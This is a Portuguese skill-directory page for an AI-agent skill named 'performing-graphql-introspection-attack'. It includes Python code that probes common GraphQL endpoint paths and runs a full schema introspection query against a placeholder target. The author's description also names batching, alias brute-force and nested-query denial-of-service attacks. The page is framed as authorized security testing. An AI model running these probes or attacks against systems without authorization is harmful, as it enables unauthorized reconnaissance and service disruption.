Pular para o conteúdo
Skillpedia
Testes35 mil · #6074

performing-graphql-introspection-attack

Ajuda seu agente a extrair o esquema completo de APIs GraphQL e testar suas vulnerabilidades.

O que ela faz

Esta ferramenta ajuda a testar a segurança de APIs que usam GraphQL. Ela tenta descobrir toda a estrutura da API (como os dados são organizados e quais ações podem ser feitas) e procura por falhas que possam ser exploradas.

Quando usar

  • ✓Quando você tem permissão para testar a segurança de uma API GraphQL.
  • ✓Para entender todos os tipos de dados e operações que uma API GraphQL oferece.
  • ✓Para verificar se a API é vulnerável a ataques que sobrecarregam o sistema ou expõem informações.

Exemplo do que pedir para a IA

“Descubra o esquema completo da API GraphQL em 'https://api.exemplo.com/graphql' e procure por campos sensíveis.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-introspection-attack/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-introspection-attack/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia requisições especiais para a API GraphQL. Se a API permitir, ela revela toda a sua estrutura. Em seguida, ela analisa essa estrutura em busca de pontos fracos conhecidos.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-graphql-introspection-attack

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-graphql-introspection-attack/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Ataque de Introspecção GraphQL

Quando Usar

  • Testar endpoints GraphQL em busca de introspecção exposta que revela o esquema completo da API
  • Mapear a superfície de ataque de uma API GraphQL para identificar consultas, mutações e tipos sensíveis
  • Testar vulnerabilidades específicas do GraphQL, incluindo abuso de profundidade de consulta, ataques de lote e autorização em nível de campo
  • Avaliar implementações GraphQL onde a introspecção está desabilitada, mas o esquema pode ser reconstruído através de mensagens de erro
  • Avaliar defesas contra esgotamento de recursos por meio de consultas GraphQL profundamente aninhadas ou complexas

Não use sem autorização por escrito. A extração de esquema e os testes de abuso de consulta podem afetar a disponibilidade do serviço.

Pré-requisitos

  • Autorização por escrito especificando o endpoint GraphQL e o escopo de teste
  • Burp Suite Professional com a extensão InQL (v6.1+) para análise automatizada de esquema
  • Python 3.10+ com as bibliotecas requests e gql
  • GraphQL Voyager ou GraphQL Playground para visualização de esquema
  • Ferramenta Clairvoyance para reconstrução de esquema quando a introspecção está desabilitada
  • Wordlists para brute-forcing de nomes de campos e tipos GraphQL

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão por escrito para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1: Descoberta de Endpoint GraphQL

import requests
import json

TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}

# Common GraphQL endpoint paths
GRAPHQL_PATHS = [
    "/graphql", "/graphql/", "/gql", "/query",
    "/api/graphql", "/api/gql", "/api/v1/graphql",
    "/v1/graphql", "/v2/graphql",
    "/graphql/console", "/graphql/playground",
    "/graphiql", "/altair", "/explorer",
    "/graph", "/api/graph",
]

# Probe for GraphQL endpoints
for path in GRAPHQL_PATHS:
    # Test with a simple introspection query
    query = {"query": "{ __typename }"}
    try:
        resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL endpoint: {TARGET}{path}")
            print(f"  Response: {resp.text[:200]}")
    except requests.exceptions.RequestException:
        pass

    # Also test GET method
    try:
        resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL endpoint (GET): {TARGET}{path}")
    except requests.exceptions.RequestException:
        pass

Etapa 2: Consulta de Introspecção Completa

GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}

# Consulta de introspecção completa para extrair o esquema completo
FULL_INTROSPECTION = {
    "query": """
    query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
    """
}

resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)

if resp.status_code == 200:
    schema = resp.json()

…
Perguntas frequentes

O que é GraphQL?

GraphQL é uma forma de criar APIs (interfaces que permitem que programas conversem entre si) que é mais flexível e eficiente que métodos mais antigos. Ele permite que quem usa a API peça exatamente os dados que precisa.

O que é 'introspection'?

Introspection, em GraphQL, é um recurso que permite que um programa pergunte à API sobre sua própria estrutura. É como se a API pudesse se descrever para quem a está consultando.

Por que preciso de autorização?

Testar a segurança de um sistema sem permissão é ilegal. Esta ferramenta pode causar instabilidade ou indisponibilidade se usada em sistemas não autorizados, por isso a permissão escrita é obrigatória.

Detalhes

Descrição original do autor

Performs GraphQL introspection attacks that extract the full API schema (types, queries, mutations, subscriptions, field definitions), map the attack surface, test query depth/complexity limits, and exploit GraphQL-specific weaknesses such as batching attacks, alias-based brute force, and nested query DoS. Use for GraphQL security testing, schema enumeration, or GraphQL API penetration testing. '

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6074
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas